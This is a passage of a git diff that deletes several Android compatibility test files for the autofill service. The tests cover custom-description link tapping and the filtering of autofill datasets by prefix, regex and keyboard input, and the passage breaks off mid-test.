-    public void testSetOnClickAction_invalidImplementation() {
-        assertThrows(IllegalArgumentException.class,
-                () -> mBuilder.addOnClickAction(42, mock(OnClickAction.class)));
-    }
-
-    @Test
-    public void testSetOnClickAction_thereCanBeOnlyOne() {
-        final CustomDescription customDescription = mBuilder
-                .addOnClickAction(42, mock(InternalOnClickAction.class))
-                .addOnClickAction(42, mValidAction)
-                .build();
-        final SparseArray<InternalOnClickAction> actions = customDescription.getActions();
-        assertThat(actions.size()).isEqualTo(1);
-        assertThat(actions.keyAt(0)).isEqualTo(42);
-        assertThat(actions.valueAt(0)).isSameInstanceAs(mValidAction);
-    }
-
-    @Test
-    public void testBuild_valid() {
-        new CustomDescription.Builder(mock(RemoteViews.class)).build();
-        new CustomDescription.Builder(mock(RemoteViews.class))
-            .addChild(108, mValidTransformation)
-            .batchUpdate(mValidCondition, mValidUpdate)
-            .addOnClickAction(42, mValidAction)
-            .build();
-    }
-
-    @Test
-    public void testNoMoreInteractionsAfterBuild() {
-        mBuilder.build();
-
-        assertThrows(IllegalStateException.class, () -> mBuilder.build());
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.addChild(108, mValidTransformation));
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.batchUpdate(mValidCondition, mValidUpdate));
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.addOnClickAction(42, mValidAction));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
deleted file mode 100644
index c0a4629..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
+++ /dev/null
@@ -1,322 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Activity;
-import android.app.PendingIntent;
-import android.content.Intent;
-import android.service.autofill.CustomDescription;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
-import android.widget.RemoteViews;
-
-import androidx.annotation.NonNull;
-
-import org.junit.Test;
-
-/**
- * Template for tests cases that test what happens when a link in the {@link CustomDescription} is
- * tapped by the user.
- *
- * <p>It must be extend by 2 sub-class to provide tests for the 2 distinct scenarios:
- * <ul>
- *   <li>Save is triggered by 1st activity finishing and launching a 2nd activity.
- *   <li>Save is triggered by explicit {@link android.view.autofill.AutofillManager#commit()} call
- *       and shown in the same activity.
- * </ul>
- *
- * <p>The overall behavior should be the same in both cases, although the implementation of the
- * tests per se will be sligthly different.
- */
-abstract class CustomDescriptionWithLinkTestCase<A extends AbstractAutoFillActivity> extends
-        AutoFillServiceTestCase.AutoActivityLaunch<A> {
-
-    private static final String ID_LINK = "link";
-
-    private final Class<A> mActivityClass;
-
-    protected A mActivity;
-
-    protected CustomDescriptionWithLinkTestCase(@NonNull Class<A> activityClass) {
-        mActivityClass = activityClass;
-    }
-
-    protected void startActivity() {
-        startActivity(false);
-    }
-
-    protected void startActivity(boolean remainOnRecents) {
-        final Intent intent = new Intent(mContext, mActivityClass);
-        if (remainOnRecents) {
-            intent.setFlags(
-                    Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_TASK);
-        }
-        mActivity = launchActivity(intent);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description and then taps back:
-     * the Save UI should have been restored.
-     */
-    @Test
-    public final void testTapLink_tapBack() throws Exception {
-        saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction.TAP_BACK_BUTTON);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, change the screen
-     * orientation while the new activity is show, then taps back:
-     * the Save UI should have been restored.
-     */
-    @Test
-    public final void testTapLink_changeOrientationThenTapBack() throws Exception {
-        assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
-
-        mUiBot.assumeMinimumResolution(500);
-        mUiBot.setScreenOrientation(UiBot.PORTRAIT);
-        try {
-            saveUiRestoredAfterTappingLinkTest(
-                    PostSaveLinkTappedAction.ROTATE_THEN_TAP_BACK_BUTTON);
-        } finally {
-            try {
-                mUiBot.setScreenOrientation(UiBot.PORTRAIT);
-                cleanUpAfterScreenOrientationIsBackToPortrait();
-            } catch (Exception e) {
-                mSafeCleanerRule.add(e);
-            } finally {
-                mUiBot.resetScreenResolution();
-            }
-        }
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, then the new activity
-     * finishes:
-     * the Save UI should have been restored.
-     */
-    @Test
-    public final void testTapLink_finishActivity() throws Exception {
-        saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction.FINISH_ACTIVITY);
-    }
-
-    protected abstract void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
-            throws Exception;
-
-    protected void cleanUpAfterScreenOrientationIsBackToPortrait() throws Exception {
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, taps back to return to the
-     * activity with the Save UI, and touch outside the Save UI to dismiss it.
-     *
-     * <p>Then user starts a new session by focusing in a field.
-     */
-    @Test
-    public final void testTapLink_tapBack_thenStartOverByTouchOutsideAndFocus()
-            throws Exception {
-        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TOUCH_OUTSIDE, false);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, taps back to return to the
-     * activity with the Save UI, and touch outside the Save UI to dismiss it.
-     *
-     * <p>Then user starts a new session by forcing autofill.
-     */
-    @Test
-    public void testTapLink_tapBack_thenStartOverByTouchOutsideAndManualRequest()
-            throws Exception {
-        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TOUCH_OUTSIDE, true);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, taps back to return to the
-     * activity with the Save UI, and tap the "No" button to dismiss it.
-     *
-     * <p>Then user starts a new session by focusing in a field.
-     */
-    @Test
-    public final void testTapLink_tapBack_thenStartOverBySayingNoAndFocus()
-            throws Exception {
-        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_NO_ON_SAVE_UI,
-                false);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, taps back to return to the
-     * activity with the Save UI, and tap the "No" button to dismiss it.
-     *
-     * <p>Then user starts a new session by forcing autofill.
-     */
-    @Test
-    public final void testTapLink_tapBack_thenStartOverBySayingNoAndManualRequest()
-            throws Exception {
-        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_NO_ON_SAVE_UI, true);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, taps back to return to the
-     * activity with the Save UI, and the "Yes" button to save it.
-     *
-     * <p>Then user starts a new session by focusing in a field.
-     */
-    @Test
-    public final void testTapLink_tapBack_thenStartOverBySayingYesAndFocus()
-            throws Exception {
-        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_YES_ON_SAVE_UI,
-                false);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, taps back to return to the
-     * activity with the Save UI, and the "Yes" button to save it.
-     *
-     * <p>Then user starts a new session by forcing autofill.
-     */
-    @Test
-    public final void testTapLink_tapBack_thenStartOverBySayingYesAndManualRequest()
-            throws Exception {
-        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_YES_ON_SAVE_UI, true);
-    }
-
-    protected abstract void tapLinkThenTapBackThenStartOverTest(
-            PostSaveLinkTappedAction action, boolean manualRequest) throws Exception;
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, then re-launches the
-     * original activity:
-     * the Save UI should have been canceled.
-     */
-    @Test
-    public final void testTapLink_backToPreviousActivityByLaunchingIt()
-            throws Exception {
-        saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_PREVIOUS_ACTIVITY);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, then launches a 3rd
-     * activity:
-     * the Save UI should have been canceled.
-     */
-    @Test
-    public final void testTapLink_launchNewActivityThenTapBack() throws Exception {
-        saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_NEW_ACTIVITY);
-    }
-
-    protected abstract void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
-            throws Exception;
-
-    @Test
-    public final void testTapLink_launchTrampolineActivityThenTapBackAndStartNewSession()
-            throws Exception {
-        // Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
-        Helper.resetApplicationAutofillOptions(sContext);
-
-        tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest();
-
-        // Clear AutofillOptions.
-        Helper.clearApplicationAutofillOptions(sContext);
-    }
-
-    protected abstract void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
-            throws Exception;
-
-    @Test
-    public final void testTapLinkAfterUpdateAppliedToLinkView() throws Exception {
-        tapLinkAfterUpdateAppliedTest(true);
-    }
-
-    @Test
-    public final void testTapLinkAfterUpdateAppliedToAnotherView() throws Exception {
-        tapLinkAfterUpdateAppliedTest(false);
-    }
-
-    protected abstract void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception;
-
-    enum PostSaveLinkTappedAction {
-        TAP_BACK_BUTTON,
-        ROTATE_THEN_TAP_BACK_BUTTON,
-        FINISH_ACTIVITY,
-        LAUNCH_NEW_ACTIVITY,
-        LAUNCH_PREVIOUS_ACTIVITY,
-        TOUCH_OUTSIDE,
-        TAP_NO_ON_SAVE_UI,
-        TAP_YES_ON_SAVE_UI
-    }
-
-    protected final void startActivityOnNewTask(Class<?> clazz) {
-        final Intent intent = new Intent(mContext, clazz);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        mContext.startActivity(intent);
-    }
-
-    protected RemoteViews newTemplate() {
-        final RemoteViews presentation = new RemoteViews(mPackageName,
-                R.layout.custom_description_with_link);
-        return presentation;
-    }
-
-    protected final CustomDescription.Builder newCustomDescriptionBuilder(
-            Class<? extends Activity> activityClass) {
-        final Intent intent = new Intent(mContext, activityClass);
-        intent.setFlags(Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
-        return newCustomDescriptionBuilder(intent);
-    }
-
-    protected final CustomDescription newCustomDescription(
-            Class<? extends Activity> activityClass) {
-        return newCustomDescriptionBuilder(activityClass).build();
-    }
-
-    protected final CustomDescription.Builder newCustomDescriptionBuilder(Intent intent) {
-        final RemoteViews presentation = newTemplate();
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
-        presentation.setOnClickPendingIntent(R.id.link, pendingIntent);
-        return new CustomDescription.Builder(presentation);
-    }
-
-    protected final CustomDescription newCustomDescription(Intent intent) {
-        return newCustomDescriptionBuilder(intent).build();
-    }
-
-    protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType) throws Exception {
-        return assertSaveUiWithLinkIsShown(saveType, "DON'T TAP ME!");
-    }
-
-    protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType, String expectedText)
-            throws Exception {
-        // First make sure the UI is shown...
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(saveType);
-        // Then make sure it does have the custom view with link on it...
-        final UiObject2 link = getLink(saveUi);
-        assertThat(link.getText()).isEqualTo(expectedText);
-        return saveUi;
-    }
-
-    protected final UiObject2 getLink(final UiObject2 container) {
-        final UiObject2 link = container.findObject(By.res(mPackageName, ID_LINK));
-        assertThat(link).isNotNull();
-        return link;
-    }
-
-    protected final void tapSaveUiLink(UiObject2 saveUi) {
-        getLink(saveUi).click();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringDropdownTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringDropdownTest.java
deleted file mode 100644
index 3839d63..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringDropdownTest.java
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-public class DatasetFilteringDropdownTest extends DatasetFilteringTest {
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
deleted file mode 100644
index 6893090..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
+++ /dev/null
@@ -1,671 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Timeouts.MOCK_IME_TIMEOUT_MS;
-
-import static com.android.compatibility.common.util.ShellUtils.sendKeyEvent;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.content.IntentSender;
-import android.os.Process;
-import android.platform.test.annotations.AppModeFull;
-import android.view.KeyEvent;
-import android.widget.EditText;
-
-import com.android.cts.mockime.ImeCommand;
-import com.android.cts.mockime.ImeEventStream;
-import com.android.cts.mockime.MockImeSession;
-
-import org.junit.Test;
-import org.junit.rules.RuleChain;
-import org.junit.rules.TestRule;
-
-import java.util.regex.Pattern;
-
-public abstract class DatasetFilteringTest extends AbstractLoginActivityTestCase {
-
-    protected DatasetFilteringTest() {
-    }
-
-    protected DatasetFilteringTest(UiBot inlineUiBot) {
-        super(inlineUiBot);
-    }
-
-    @Override
-    protected TestRule getMainTestRule() {
-        return RuleChain.outerRule(new MaxVisibleDatasetsRule(4))
-                        .around(super.getMainTestRule());
-    }
-
-
-    private void changeUsername(CharSequence username) {
-        mActivity.onUsername((v) -> v.setText(username));
-    }
-
-
-    @Test
-    public void testFilter() throws Exception {
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aa")
-                        .setPresentation(aa, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab")
-                        .setPresentation(ab, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "b")
-                        .setPresentation(b, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // Only two datasets start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // Only one dataset start with 'aa'
-        changeUsername("aa");
-        mUiBot.assertDatasets(aa);
-
-        // No dataset start with 'aaa'
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        changeUsername("aaa");
-        callback.assertUiHiddenEvent(mActivity.getUsername());
-        mUiBot.assertNoDatasets();
-
-        // Delete some text to bring back 2 datasets
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // With no filter text all datasets should be shown again
-        changeUsername("");
-        mUiBot.assertDatasets(aa, ab, b);
-    }
-
-    @Test
-    public void testFilter_injectingEvents() throws Exception {
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aa")
-                        .setPresentation(aa, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab")
-                        .setPresentation(ab, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "b")
-                        .setPresentation(b, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // Only two datasets start with 'a'
-        sendKeyEvent("KEYCODE_A");
-        mUiBot.assertDatasets(aa, ab);
-
-        // Only one dataset start with 'aa'
-        sendKeyEvent("KEYCODE_A");
-        mUiBot.assertDatasets(aa);
-
-        // Only two datasets start with 'a'
-        sendKeyEvent("KEYCODE_DEL");
-        mUiBot.assertDatasets(aa, ab);
-
-        // With no filter text all datasets should be shown
-        sendKeyEvent("KEYCODE_DEL");
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // No dataset start with 'aaa'
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        sendKeyEvent("KEYCODE_A");
-        sendKeyEvent("KEYCODE_A");
-        sendKeyEvent("KEYCODE_A");
-        callback.assertUiHiddenEvent(mActivity.getUsername());
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    public void testFilter_usingKeyboard() throws Exception {
-        final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
-        assumeTrue("MockIME not available", mockImeSession != null);
-
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aa")
-                        .setPresentation(aa, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab")
-                        .setPresentation(ab, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "b")
-                        .setPresentation(b, isInlineMode())
-                        .build())
-                .build());
-
-        final ImeEventStream stream = mockImeSession.openEventStream();
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-
-        // Wait until the MockIme gets bound to the TestActivity.
-        expectBindInput(stream, Process.myPid(), MOCK_IME_TIMEOUT_MS);
-        expectEvent(stream, editorMatcher("onStartInput", mActivity.getUsername().getId()),
-                MOCK_IME_TIMEOUT_MS);
-
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // Only two datasets start with 'a'
-        final ImeCommand cmd1 = mockImeSession.callCommitText("a", 1);
-        expectCommand(stream, cmd1, MOCK_IME_TIMEOUT_MS);
-        mUiBot.assertDatasets(aa, ab);
-
-        // Only one dataset start with 'aa'
-        final ImeCommand cmd2 = mockImeSession.callCommitText("a", 1);
-        expectCommand(stream, cmd2, MOCK_IME_TIMEOUT_MS);
-        mUiBot.assertDatasets(aa);
-
-        // Only two datasets start with 'a'
-        final ImeCommand cmd3 = mockImeSession.callSendDownUpKeyEvents(KeyEvent.KEYCODE_DEL);
-        expectCommand(stream, cmd3, MOCK_IME_TIMEOUT_MS);
-        mUiBot.assertDatasets(aa, ab);
-
-        // With no filter text all datasets should be shown
-        final ImeCommand cmd4 = mockImeSession.callSendDownUpKeyEvents(KeyEvent.KEYCODE_DEL);
-        expectCommand(stream, cmd4, MOCK_IME_TIMEOUT_MS);
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // No dataset start with 'aaa'
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final ImeCommand cmd5 = mockImeSession.callCommitText("aaa", 1);
-        expectCommand(stream, cmd5, MOCK_IME_TIMEOUT_MS);
-        callback.assertUiHiddenEvent(mActivity.getUsername());
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_nullValuesAlwaysMatched() throws Exception {
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aa")
-                        .setPresentation(aa, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab")
-                        .setPresentation(ab, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, (String) null)
-                        .setPresentation(b, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // Two datasets start with 'a' and one with null value always shown
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // One dataset start with 'aa' and one with null value always shown
-        changeUsername("aa");
-        mUiBot.assertDatasets(aa, b);
-
-        // Two datasets start with 'a' and one with null value always shown
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // With no filter text all datasets should be shown
-        changeUsername("");
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // No dataset start with 'aaa' and one with null value always shown
-        changeUsername("aaa");
-        mUiBot.assertDatasets(b);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_differentPrefixes() throws Exception {
-        final String a = "aaa";
-        final String b = "bra";
-        final String c = "cadabra";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, a)
-                        .setPresentation(a, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, b)
-                        .setPresentation(b, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, c)
-                        .setPresentation(c, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(a, b, c);
-
-        changeUsername("a");
-        mUiBot.assertDatasets(a);
-
-        changeUsername("b");
-        mUiBot.assertDatasets(b);
-
-        changeUsername("c");
-        if (!isInlineMode()) { // With inline, we don't show the datasets now to protect privacy.
-            mUiBot.assertDatasets(c);
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_usingRegex() throws Exception {
-        // Dataset presentations.
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "whatever", Pattern.compile("a|aa"))
-                        .setPresentation(aa, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "whatsoever",
-                                Pattern.compile("a|ab"))
-                        .setPresentation(ab, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, (String) null, Pattern.compile("b"))
-                        .setPresentation(b, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // Only two datasets start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // Only one dataset start with 'aa'
-        changeUsername("aa");
-        mUiBot.assertDatasets(aa);
-
-        // Only two datasets start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // With no filter text all datasets should be shown
-        changeUsername("");
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // No dataset start with 'aaa'
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        changeUsername("aaa");
-        callback.assertUiHiddenEvent(mActivity.getUsername());
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_disabledUsingNullRegex() throws Exception {
-        // Dataset presentations.
-        final String unfilterable = "Unfilterabled";
-        final String aOrW = "A or W";
-        final String w = "Wazzup";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                // This dataset has a value but filter is disabled
-                .addDataset(new CannedDataset.Builder()
-                        .setUnfilterableField(ID_USERNAME, "a am I")
-                        .setPresentation(unfilterable, isInlineMode())
-                        .build())
-                // This dataset uses pattern to filter
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "whatsoever",
-                                Pattern.compile("a|aw"))
-                        .setPresentation(aOrW, isInlineMode())
-                        .build())
-                // This dataset uses value to filter
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "wazzup")
-                        .setPresentation(w, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(unfilterable, aOrW, w);
-
-        // Only one dataset start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(aOrW);
-
-        // No dataset starts with 'aa'
-        changeUsername("aa");
-        mUiBot.assertNoDatasets();
-
-        // Only one datasets start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(aOrW);
-
-        // With no filter text all datasets should be shown
-        changeUsername("");
-        mUiBot.assertDatasets(unfilterable, aOrW, w);
-
-        // Only one datasets start with 'w'
-        changeUsername("w");
-        if (!isInlineMode()) { // With inline, we don't show the datasets now to protect privacy.
-            mUiBot.assertDatasets(w);
-        }
-
-        // No dataset start with 'aaa'
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        changeUsername("aaa");
-        callback.assertUiHiddenEvent(mActivity.getUsername());
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_mixPlainAndRegex() throws Exception {
-        final String plain = "Plain";
-        final String regexPlain = "RegexPlain";
-        final String authRegex = "AuthRegex";
-        final String kitchnSync = "KitchenSync";
-        final Pattern everything = Pattern.compile(".*");
-
-        enableService();
-
-        // Set expectations.
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .build());
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aword")
-                        .setPresentation(plain, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "a ignore", everything)
-                        .setPresentation(regexPlain, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab ignore", everything)
-                        .setAuthentication(authentication)
-                        .setPresentation(authRegex, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab ignore",
-                                everything)
-                        .setPresentation(kitchnSync, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
-
-        // All datasets start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
-
-        // Only the regex datasets should start with 'ab'
-        changeUsername("ab");
-        mUiBot.assertDatasets(regexPlain, authRegex, kitchnSync);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter_usingKeyboard() is enough")
-    public void testFilter_mixPlainAndRegex_usingKeyboard() throws Exception {
-        final String plain = "Plain";
-        final String regexPlain = "RegexPlain";
-        final String authRegex = "AuthRegex";
-        final String kitchnSync = "KitchenSync";
-        final Pattern everything = Pattern.compile(".*");
-
-        enableService();
-
-        // Set expectations.
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedDataset.Builder()
